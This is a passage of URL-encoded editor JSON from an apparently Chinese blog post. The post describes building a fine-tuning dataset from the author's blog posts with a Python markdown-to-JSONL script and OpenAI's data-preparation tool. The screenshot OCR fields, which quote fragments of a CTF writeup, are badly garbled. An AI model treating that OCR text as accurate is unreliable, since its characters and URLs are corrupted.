%E6%88%91%E9%80%89%E6%8B%A9%E7%94%A8%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2%E5%86%85%E5%AE%B9%E6%9D%A5%E5%81%9A%E5%88%9D%E6%AD%A5%E7%9A%84%E5%86%85%E5%AE%B9%E8%AE%AD%E7%BB%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue6bdae7e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub7d7abc3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E7%94%A8%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84python3%E8%84%9A%E6%9C%AC%E6%9D%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22udd6193fd%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%A4%84%E7%90%86%E6%89%80%E6%9C%89%E7%9A%84md%E6%96%87%E4%BB%B6%E5%B9%B6%E7%94%9F%E6%88%90%E5%AF%B9%E5%BA%94%E7%9A%84jsonL%E6%96%87%E4%BB%B6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufacaece0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6deb7e64%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u905ab55a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22color%22%3A%22%23DF2A3F%22%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AAprompt%E7%9A%84%E8%8C%83%E4%BE%8B%E6%AF%94%E8%BE%83%E7%B2%97%E6%9A%B4%EF%BC%8C%E4%B8%8D%E6%98%AF%E5%BE%88%E9%9D%A0%E8%B0%B1%E7%9A%84%EF%BC%8C%E5%8F%AA%E6%98%AF%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ucd411015%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22xMaPE%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22import%20os%5Cnimport%20glob%5Cnimport%20re%5Cnimport%20json%5Cnimport%20codecs%5Cn%5Cnfolder_path%20%3D%20&#39;posts&#39;%20%23%20%E6%8C%87%E5%AE%9A%E6%96%87%E4%BB%B6%E5%A4%B9%E8%B7%AF%E5%BE%84%5Cnoutput_file%20%3D%20&#39;output.jsonl&#39;%20%23%20%E6%8C%87%E5%AE%9A%E8%BE%93%E5%87%BA%E6%96%87%E4%BB%B6%E5%90%8D%5Cn%5Cnmd_files%20%3D%20glob.glob(os.path.join(folder_path%2C%20&#39;*.md&#39;))%20%23%20%E8%8E%B7%E5%8F%96%E6%89%80%E6%9C%89%E7%9A%84md%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%5Cn%5Cnwith%20codecs.open(output_file%2C%20&#39;w&#39;%2C%20encoding%3D&#39;utf-8&#39;)%20as%20f%3A%5Cn%20%20%20%20for%20file%20in%20md_files%3A%5Cn%20%20%20%20%20%20%20%20with%20codecs.open(file%2C%20&#39;r&#39;%2C%20encoding%3D&#39;utf-8&#39;%2C%20errors%3D&#39;ignore&#39;)%20as%20md%3A%5Cn%20%20%20%20%20%20%20%20%20%20%20%20text%20%3D%20md.read()%5Cn%20%20%20%20%20%20%20%20%20%20%20%20match%20%3D%20re.search(r&#39;title%3A%20(.%2B)%5C%5Cn&#39;%2C%20text)%20%23%20%E5%8C%B9%E9%85%8D%E6%A0%87%E9%A2%98%E5%92%8C%E5%86%85%E5%AE%B9%5Cn%20%20%20%20%20%20%20%20%20%20%20%20text%20%3D%20re.sub(r%5C%22%60%60%60.*%3F%60%60%60%5C%22%2C%20%5C%22%5C%22%2C%20text%2C%20flags%3Dre.DOTALL)%5Cn%20%20%20%20%20%20%20%20%20%20%20%20if%20match%3A%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20i%20%3D%200%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20max_length%20%3D%202000%5Cn%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20while%20len(text)%20%3E%20i*2000%3A%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20t%20%3D%20text%5Bi*max_length%3Ai*max_length%2Bmax_length%5D%5Cn%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20prompt%20%3D%20match.group(1)%20%2B%20&#39;%20Part%20%7B%7D&#39;.format(i%2B1)%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20completion%20%3D%20&#39;%20&#39;%20%2B%20t%20%2B%20&#39;END&#39;%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5Cn%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20data%20%3D%20%7B%5C%22prompt%5C%22%3A%20prompt%2C%20%5C%22completion%5C%22%3A%20completion%7D%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20json_data%20%3D%20json.dumps(data)%20%2B%20&#39;%5C%5Cn&#39;%20%23%20%E5%B0%86%E5%AD%97%E5%85%B8%E6%A0%BC%E5%BC%8F%E5%8C%96%E4%B8%BAJSONL%E6%A0%BC%E5%BC%8F%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(json_data)%5Cn%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20i%20%2B%3D%201%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc03d388d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u039c4194%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684312272901-da827fae-35b7-4c7f-9a93-d1b175174b24.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A761%2C%22height%22%3A321%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A68550%2C%22width%22%3A691.8181668234268%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u479b2b66-9ba9-41b7-a5e3-8cce4f87cf4%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A9%2C%22y%22%3A12%2C%22width%22%3A12%2C%22height%22%3A16%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A13%2C%22width%22%3A181%2C%22height%22%3A16%2C%22text%22%3A%22%5C%22PROMPT%5C%22%3A%20%5C%220CTF2016%20%26%26%22%7D%2C%7B%22x%22%3A518%2C%22y%22%3A14%2C%22width%22%3A244%2C%22height%22%3A13%2C%22text%22%3A%22ETION%5C%22%3A%20&#39;TITLE%3A0CTF2016%20%26%26%20SUN%22%7D%2C%7B%22x%22%3A241%2C%22y%22%3A13%2C%22width%22%3A316%2C%22height%22%3A15%2C%22text%22%3A%22%3A%20SUNSHINECTF2016%20WRITEUP%5C%22%2C%20%5C%22COMPLETION%5C%22%3A%22%7D%2C%7B%22x%22%3A47%2C%22y%22%3A31%2C%22width%22%3A715%2C%22height%22%3A15%2C%22text%22%3A%22&#39;CTF%5C%5CN-%20BLOGS)NCATEGORIES%3A%5C%5CN-%20BLO85%5C%5CN---IN%5C%5CU4EBA%5C%5CU4EBA%5C%5CU4E2A%2FU672B%5C%5CU6253%5C%5CU6253%5C%5CU4E36%5C%5CU4EZA%5C%5CU53%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A47%2C%22width%22%3A717%2C%22height%22%3A16%2C%22text%22%3A%221D%5C%5CU7684%5C%5CU6124%5C%5CU6012%5C%5CU5C31%5C%5CU662F%5C%5CU778B%5C%5CUAECO%5C%5CU4E48%5C%5CU9898%2FU76EE%5C%5CU76E%5C%5CU99FD%5C%5CU662F%5C%5CU4E90%5C%5CU7BC7%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A65%2C%22width%22%3A508%2C%22height%22%3A17%2C%22text%22%3A%220%5C%5CU4E86%5C%5CU4E00%5C%5CU5730%5C%5CUFF0C%5C%5CU987A%5C%5CU4FBF%5C%5CU9644%5C%5CU4E0ASUNSHINE%20CTF%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A86%2C%22width%22%3A716%2C%22height%22%3A14%2C%22text%22%3A%22MISC300%5C%5CU7684URITEUP%5C%5CUFF08%5C%5CU4E90%5C%5CU4EZA%5C%5CUBCAL%5C%5CU6709WEB%2FU9898%5C%5CU76EE%5C%5CU7684%5C%5CU6BD4%5C%5CU6BD4%5C%5CU8D560RZ%2F%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A103%2C%22width%22%3A718%2C%22height%22%3A16%2C%22text%22%3A%22EE%5C%5CU662F%5C%5CU961F%5C%5CU53CB%5C%5CU505A%5C%5CU7684%5C%5CUFF0C%5C%5CU4ED%5C%5CU662F%5C%5CU662F%5C%5CU5F88%5C%5CU61C2%5C%5CU9700%5C%5CU8981%5C%5CU7860%22%7D%2C%7B%22x%22%3A45%2C%22y%22%3A121%2C%22width%22%3A704%2C%22height%22%3A16%2C%22text%22%3A%22IN%5C%5CU5148%5C%5CU7ED92%2FU4E2A%5C%5CU522B%5C%5CU4EBAVU7684WRITEUP%3AIN%20IN%20(N%20HTTP%3A%2F%2FWWN.ISECER.CTF%2F9CTF%202016-%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A140%2C%22width%22%3A717%2C%22height%22%3A16%2C%22text%22%3A%22OCTF%202016-WEB-URITEUP-RAND%202.HTNL)%5C%5CNFHTTPS%3A%2F%2FGITHUB.COM%2FP4-TEAN%2FCTF%2FTREE%2FMASTER%2F2016-03%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A157%2C%22width%22%3A136%2C%22height%22%3A15%2C%22text%22%3A%222016-03-12-0CTF%2F%22%7D%2C%7B%22x%22%3A633%2C%22y%22%3A176%2C%22width%22%3A128%2C%22height%22%3A16%2C%22text%22%3A%22%5C%5CN%3C%3FPHP%5C%5CNINCLUD%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A175%2C%22width%22%3A575%2C%22height%22%3A16%2C%22text%22%3A%22RAND%202)%5C%5CN%5C%5CN%5C%5CN%5C%5CU99996%5C%5CU5148%5C%5CU662F%5C%5CU9898%5C%5CU76E%5C%5CU7684%5C%5CU6E90%5C%5CU7801%5C%5CUFFLA%5C%5CN%5C%22%22%7D%2C%7B%22x%22%3A570%2C%22y%22%3A192%2C%22width%22%3A106%2C%22height%22%3A16%2C%22text%22%3A%22%20DIE(&#39;TIMEOUT&#39;%22%7D%2C%7B%22x%22%3A688%2C%22y%22%3A191%2C%22width%22%3A73%2C%22height%22%3A17%2C%22text%22%3A%22%3B%5C%5CN%7D%20ELSE%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A194%2C%22width%22%3A105%2C%22height%22%3A14%2C%22text%22%3A%22TIME()%20-%20%24_SE%22%7D%2C%7B%22x%22%3A128%2C%22y%22%3A192%2C%22width%22%3A212%2C%22height%22%3A20%2C%22text%22%3A%22%24_SESSION%5B&#39;TIME&#39;%5D%20%3E%2060)%20%7B%5C%5CN%22%7D%2C%7B%22x%22%3A374%2C%22y%22%3A193%2C%22width%22%3A166%2C%22height%22%3A17%2C%22text%22%3A%22%20SESSION_DESTROY()%3B%5C%5CN%22%7D%2C%7B%22x%22%3A348%2C%22y%22%3A210%2C%22width%22%3A169%2C%22height%22%3A18%2C%22text%22%3A%22%5B&#39;RAND&#39;%5D%20-%20ARRAY()%3B%5C%5CN%22%7D%2C%7B%22x%22%3A547%2C%22y%22%3A210%2C%22width%22%3A74%2C%22height%22%3A16%2C%22text%22%3A%22%24I%20-%205%3B%5C%5CN%22%7D%2C%7B%22x%22%3A45%2C%22y%22%3A210%2C%22width%22%3A191%2C%22height%22%3A15%2C%22text%22%3A%22%20ISSET(%24%20GET%5B&#39;GO&#39;%5D)%20%7B%5C%5CN%22%7D%2C%7B%22x%22%3A267%2C%22y%22%3A211%2C%22width%22%3A89%2C%22height%22%3A15%2C%22text%22%3A%22%24_SESSION%5B&#39;%22%7D%2C%7B%22x%22%3A655%2C%22y%22%3A212%2C%22width%22%3A22%2C%22height%22%3A14%2C%22text%22%3A%22P%24%22%7D%2C%7B%22x%22%3A454%2C%22y%22%3A228%2C%22width%22%3A30%2C%22height%22%3A17%2C%22text%22%3A%22%7D%5C%5CN%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A228%2C%22width%22%3A223%2C%22height%22%3A17%2C%22text%22%3A%22%20%24_SESSION%5B&#39;RAND&#39;%5D%5B%5D%20-%20%24R%3B%5C%5CN%22%7D%2C%7B%22x%22%3A514%2C%22y%22%3A227%2C%22width%22%3A133%2C%22height%22%3A18%2C%22text%22%3A%22ECHO%20MD5(%24D)%3B%5C%5CN%7D%22%7D%2C%7B%22x%22%3A332%2C%22y%22%3A229%2C%22width%22%3A94%2C%22height%22%3A16%2C%22text%22%3A%22%24D%20.-%20%24RJ%5C%5CN%22%7D%2C%7B%22x%22%3A654%2C%22y%22%3A230%2C%22width%22%3A108%2C%22height%22%3A14%2C%22text%22%3A%22ELSE%20IF%20(ISSE%22%7D%2C%7B%22x%22%3A432%2C%22y%22%3A246%2C%22width%22%3A82%2C%22height%22%3A17%2C%22text%22%3A%22%7D%20ELSE%20%5C%5CN%22%7D%2C%7B%22x%22%3A292%2C%22y%22%3A247%2C%22width%22%3A109%2C%22height%22%3A15%2C%22text%22%3A%22ECHO%20%24FLAG%3B%5C%5CN%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A247%2C%22width%22%3A177%2C%22height%22%3A18%2C%22text%22%3A%22%20%24_SESSION%5B&#39;RAND&#39;%5D)%20%7B%5C%5CN%22%7D%2C%7B%22x%22%3A582%2C%22y%22%3A248%2C%22width%22%3A103%2C%22height%22%3A13%2C%22text%22%3A%22ECHO%20&#39;DIE&#39;%3B%5C%5CN%22%7D%2C%7B%22x%22%3A752%2C%22y%22%3A249%2C%22width%22%3A10%2C%22height%22%3A12%2C%22text%22%3A%22S%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A266%2C%22width%22%3A718%2C%22height%22%3A15%2C%22text%22%3A%22SHON-SOURCE(-FILE%20-)%3B%5C%5CN%2F(N)(NYU662F%5C%5CU968F%5C%5CU6573A%2FU6570%5C%5CU5728KEEP-LIVE%5C%5CU4E0B%5C%5CU662F%5C%5CU53EF%5C%5CU4A%22%7D%2C%7B%22x%22%3A44%2C%22y%22%3A284%2C%22width%22%3A712%2C%22height%22%3A14%2C%22text%22%3A%22ARCHIVES%2F365%2F)(HTTP%3A%2F%2FDROPS.HDUISA.CN%2FARCHIVES%2F365%2F)%5C%5CN(N%2FN%2FU9884%5C%5CU6DAB%5C%5CU6569%5C%5CU6CD5%5C%5CUFFLA)%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A299%2C%22width%22%3A718%2C%22height%22%3A19%2C%22text%22%3A%221%2FN%2FN%5C%5CU8FDB%2FU6709%5C%5CU6587%2FU732E%5C%5CUFFLA(NTHTTPS%3A%2F%2FNEDIA.BLACKHAT.COM%2FSH-US-12%2FBRIEFINGS%2FARG%22%7D%5D%2C%22search%22%3A%221%20%5C%22PROMPT%5C%22%3A%20%5C%220CTF2016%20%26%26%20ETION%5C%22%3A%20&#39;TITLE%3A0CTF2016%20%26%26%20SUN%20%3A%20SUNSHINECTF2016%20WRITEUP%5C%22%2C%20%5C%22COMPLETION%5C%22%3A%20&#39;CTF%5C%5CN-%20BLOGS)NCATEGORIES%3A%5C%5CN-%20BLO85%5C%5CN---IN%5C%5CU4EBA%5C%5CU4EBA%5C%5CU4E2A%2FU672B%5C%5CU6253%5C%5CU6253%5C%5CU4E36%5C%5CU4EZA%5C%5CU53%201D%5C%5CU7684%5C%5CU6124%5C%5CU6012%5C%5CU5C31%5C%5CU662F%5C%5CU778B%5C%5CUAECO%5C%5CU4E48%5C%5CU9898%2FU76EE%5C%5CU76E%5C%5CU99FD%5C%5CU662F%5C%5CU4E90%5C%5CU7BC7%200%5C%5CU4E86%5C%5CU4E00%5C%5CU5730%5C%5CUFF0C%5C%5CU987A%5C%5CU4FBF%5C%5CU9644%5C%5CU4E0ASUNSHINE%20CTF%20MISC300%5C%5CU7684URITEUP%5C%5CUFF08%5C%5CU4E90%5C%5CU4EZA%5C%5CUBCAL%5C%5CU6709WEB%2FU9898%5C%5CU76EE%5C%5CU7684%5C%5CU6BD4%5C%5CU6BD4%5C%5CU8D560RZ%2F%20EE%5C%5CU662F%5C%5CU961F%5C%5CU53CB%5C%5CU505A%5C%5CU7684%5C%5CUFF0C%5C%5CU4ED%5C%5CU662F%5C%5CU662F%5C%5CU5F88%5C%5CU61C2%5C%5CU9700%5C%5CU8981%5C%5CU7860%20IN%5C%5CU5148%5C%5CU7ED92%2FU4E2A%5C%5CU522B%5C%5CU4EBAVU7684WRITEUP%3AIN%20IN%20(N%20HTTP%3A%2F%2FWWN.ISECER.CTF%2F9CTF%202016-%20OCTF%202016-WEB-URITEUP-RAND%202.HTNL)%5C%5CNFHTTPS%3A%2F%2FGITHUB.COM%2FP4-TEAN%2FCTF%2FTREE%2FMASTER%2F2016-03%202016-03-12-0CTF%2F%20%5C%5CN%3C%3FPHP%5C%5CNINCLUD%20RAND%202)%5C%5CN%5C%5CN%5C%5CN%5C%5CU99996%5C%5CU5148%5C%5CU662F%5C%5CU9898%5C%5CU76E%5C%5CU7684%5C%5CU6E90%5C%5CU7801%5C%5CUFFLA%5C%5CN%5C%22%20%20DIE(&#39;TIMEOUT&#39;%20%3B%5C%5CN%7D%20ELSE%20TIME()%20-%20%24_SE%20%24_SESSION%5B&#39;TIME&#39;%5D%20%3E%2060)%20%7B%5C%5CN%20%20SESSION_DESTROY()%3B%5C%5CN%20%5B&#39;RAND&#39;%5D%20-%20ARRAY()%3B%5C%5CN%20%24I%20-%205%3B%5C%5CN%20%20ISSET(%24%20GET%5B&#39;GO&#39;%5D)%20%7B%5C%5CN%20%24_SESSION%5B&#39;%20P%24%20%7D%5C%5CN%20%20%24_SESSION%5B&#39;RAND&#39;%5D%5B%5D%20-%20%24R%3B%5C%5CN%20ECHO%20MD5(%24D)%3B%5C%5CN%7D%20%24D%20.-%20%24RJ%5C%5CN%20ELSE%20IF%20(ISSE%20%7D%20ELSE%20%5C%5CN%20ECHO%20%24FLAG%3B%5C%5CN%20%20%24_SESSION%5B&#39;RAND&#39;%5D)%20%7B%5C%5CN%20ECHO%20&#39;DIE&#39;%3B%5C%5CN%20S%20SHON-SOURCE(-FILE%20-)%3B%5C%5CN%2F(N)(NYU662F%5C%5CU968F%5C%5CU6573A%2FU6570%5C%5CU5728KEEP-LIVE%5C%5CU4E0B%5C%5CU662F%5C%5CU53EF%5C%5CU4A%20ARCHIVES%2F365%2F)(HTTP%3A%2F%2FDROPS.HDUISA.CN%2FARCHIVES%2F365%2F)%5C%5CN(N%2FN%2FU9884%5C%5CU6DAB%5C%5CU6569%5C%5CU6CD5%5C%5CUFFLA)%201%2FN%2FN%5C%5CU8FDB%2FU6709%5C%5CU6587%2FU732E%5C%5CUFFLA(NTHTTPS%3A%2F%2FNEDIA.BLACKHAT.COM%2FSH-US-12%2FBRIEFINGS%2FARG%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23546371%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua02c5b0a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub856431a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E6%88%91%E4%BB%AC%E7%94%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uae765909%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22openai%E6%9D%A5%E5%A4%84%E7%90%86%E4%B8%80%E4%B8%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue37a2295%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E9%83%A8%E5%88%86%E6%95%B0%E6%8D%AE%E9%9B%86%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf871eec3%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u77e17213%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684313863095-7f5c5a4c-48c5-48e1-917f-4d5425b4c439.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1778%2C%22height%22%3A410%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A33425%2C%22width%22%3A1616.3636013298988%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u959232d0-e0c3-407e-b87c-ccc6a3f04ee%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A476%2C%22y%22%3A0%2C%22width%22%3A666%2C%22height%22%3A32%2C%22text%22%3A%22WILL%20PERFORM%20THE%20FOLLOWING%20ACTIONS%3A%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A2%2C%22width%22%3A421%2C%22height%22%3A31%2C%22text%22%3A%22BASED%20ON%20THE%20ANALYSIS%20W%22%7D%2C%7B%22x%22%3A420%2C%22y%22%3A4%2C%22width%22%3A41%2C%22height%22%3A24%2C%22text%22%3A%22WE%22%7D%2C%7B%22x%22%3A595%2C%22y%22%3A36%2C%22width%22%3A327%2C%22height%22%3A34%2C%22text%22%3A%22EXAMPLES%20%5BY%2FN%5D%3A%20Y%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A36%2C%22width%22%3A492%2C%22height%22%3A35%2C%22text%22%3A%22%5BRECOMMENDED%5D%20REMOVE%2057%20LON%22%7D%2C%7B%22x%22%3A482%2C%22y%22%3A38%2C%22width%22%3A95%2C%22height%22%3A33%2C%22text%22%3A%22LONG%22%7D%2C%7B%22x%22%3A422%2C%22y%22%3A71%2C%22width%22%3A879%2C%22height%22%3A42%2C%22text%22%3A%22SUFFIX%20SEPARATOR%20&#39;%20-%3E&#39;%20TO%20ALL%20PROMPTS%20%5BY%2FN%5D%3A%20Y%22%7D%2C%7B%22x%22%3A307%2C%22y%22%3A76%2C%22width%22%3A100%2C%22height%22%3A29%2C%22text%22%3A%22ADD%20A%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A77%2C%22width%22%3A249%2C%22height%22%3A29%2C%22text%22%3A%22%5BRECOMMENDED%5D%22%7D%2C%7B%22x%22%3A924%2C%22y%22%3A109%2C%22width%22%3A391%2C%22height%22%3A42%2C%22text%22%3A%22L%20COMPLETIONS%20%5BY%2FN%5D%3A%20Y%22%7D%2C%7B%22x%22%3A307%2C%22y%22%3A114%2C%22width%22%3A58%2C%22height%22%3A31%2C%22text%22%3A%22ADD%22%7D%2C%7B%22x%22%3A45%2C%22y%22%3A114%2C%22width%22%3A241%2C%22height%22%3A32%2C%22text%22%3A%22%5BRECOMMENDED%5D%22%7D%2C%7B%22x%22%3A701%2C%22y%22%3A115%2C%22width%22%3A258%2C%22height%22%3A34%2C%22text%22%3A%22%60%2B%2B%2B%2B%20TO%20ALL%20CO%22%7D%2C%7B%22x%22%3A380%2C%22y%22%3A116%2C%22width%22%3A289%2C%22height%22%3A33%2C%22text%22%3A%22A%20SUFFIX%20ENDING%22%7D%2C%7B%22x%22%3A1272%2C%22y%22%3A143%2C%22width%22%3A371%2C%22height%22%3A46%2C%22text%22%3A%22%20COMPLETION%20%5BY%2FN%5D%3A%20Y%22%7D%2C%7B%22x%22%3A381%2C%22y%22%3A149%2C%22width%22%3A764%2C%22height%22%3A37%2C%22text%22%3A%22A%20WHITESPACE%20CHARACTER%20TO%20THE%20BEGINNING%20ON%22%7D%2C%7B%22x%22%3A45%2C%22y%22%3A152%2C%22width%22%3A242%2C%22height%22%3A31%2C%22text%22%3A%22%5BRECOMMENDED%5D%22%7D%2C%7B%22x%22%3A306%2C%22y%22%3A153%2C%22width%22%3A60%2C%22height%22%3A28%2C%22text%22%3A%22ADD%22%7D%2C%7B%22x%22%3A1098%2C%22y%22%3A153%2C%22width%22%3A218%2C%22height%22%3A28%2C%22text%22%3A%22NG%20OF%20THE%20CON%22%7D%2C%7B%22x%22%3A601%2C%22y%22%3A264%2C%22width%22%3A602%2C%22height%22%3A37%2C%22text%22%3A%22NEW%20JSONL%20FILE.%20PROCEED%20%5BY%2FN%5D%3A%20Y%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A265%2C%22width%22%3A676%2C%22height%22%3A37%2C%22text%22%3A%22YOUR%20DATA%20WILL%20BE%20WRITTEN%20TO%20A%20NEW%20JS%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A335%2C%22width%22%3A909%2C%22height%22%3A42%2C%22text%22%3A%22WROTE%20MODIFIED%20FILE%20TO%20&#39;.%5C%5COUTPUT_PREPARED.JSONL&#39;%22%7D%2C%7B%22x%22%3A0%2C%22y%22%3A380%2C%22width%22%3A478%2C%22height%22%3A29%2C%22text%22%3A%22FEEL%20FREE%20TO%20TAKE%20A%20LOOK!%22%7D%5D%2C%22search%22%3A%22WILL%20PERFORM%20THE%20FOLLOWING%20ACTIONS%3A%20BASED%20ON%20THE%20ANALYSIS%20W%20WE%20EXAMPLES%20%5BY%2FN%5D%3A%20Y%20%5BRECOMMENDED%5D%20REMOVE%2057%20LON%20LONG%20SUFFIX%20SEPARATOR%20&#39;%20-%3E&#39;%20TO%20ALL%20PROMPTS%20%5BY%2FN%5D%3A%20Y%20ADD%20A%20%5BRECOMMENDED%5D%20L%20COMPLETIONS%20%5BY%2FN%5D%3A%20Y%20ADD%20%5BRECOMMENDED%5D%20%60%2B%2B%2B%2B%20TO%20ALL%20CO%20A%20SUFFIX%20ENDING%20%20COMPLETION%20%5BY%2FN%5D%3A%20Y%20A%20WHITESPACE%20CHARACTER%20TO%20THE%20BEGINNING%20ON%20%5BRECOMMENDED%5D%20ADD%20NG%20OF%20THE%20CON%20NEW%20JSONL%20FILE.%20PROCEED%20%5BY%2FN%5D%3A%20Y%20YOUR%20DATA%20WILL%20BE%20WRITTEN%20TO%20A%20NEW%20JS%20WROTE%20MODIFIED%20FILE%20TO%20&#39;.%5C%5COUTPUT_PREPARED.JSONL&#39;%20FEEL%20FREE%20TO%20TAKE%20A%20LOOK!%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23363636%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u809f0924%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubf09e40c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E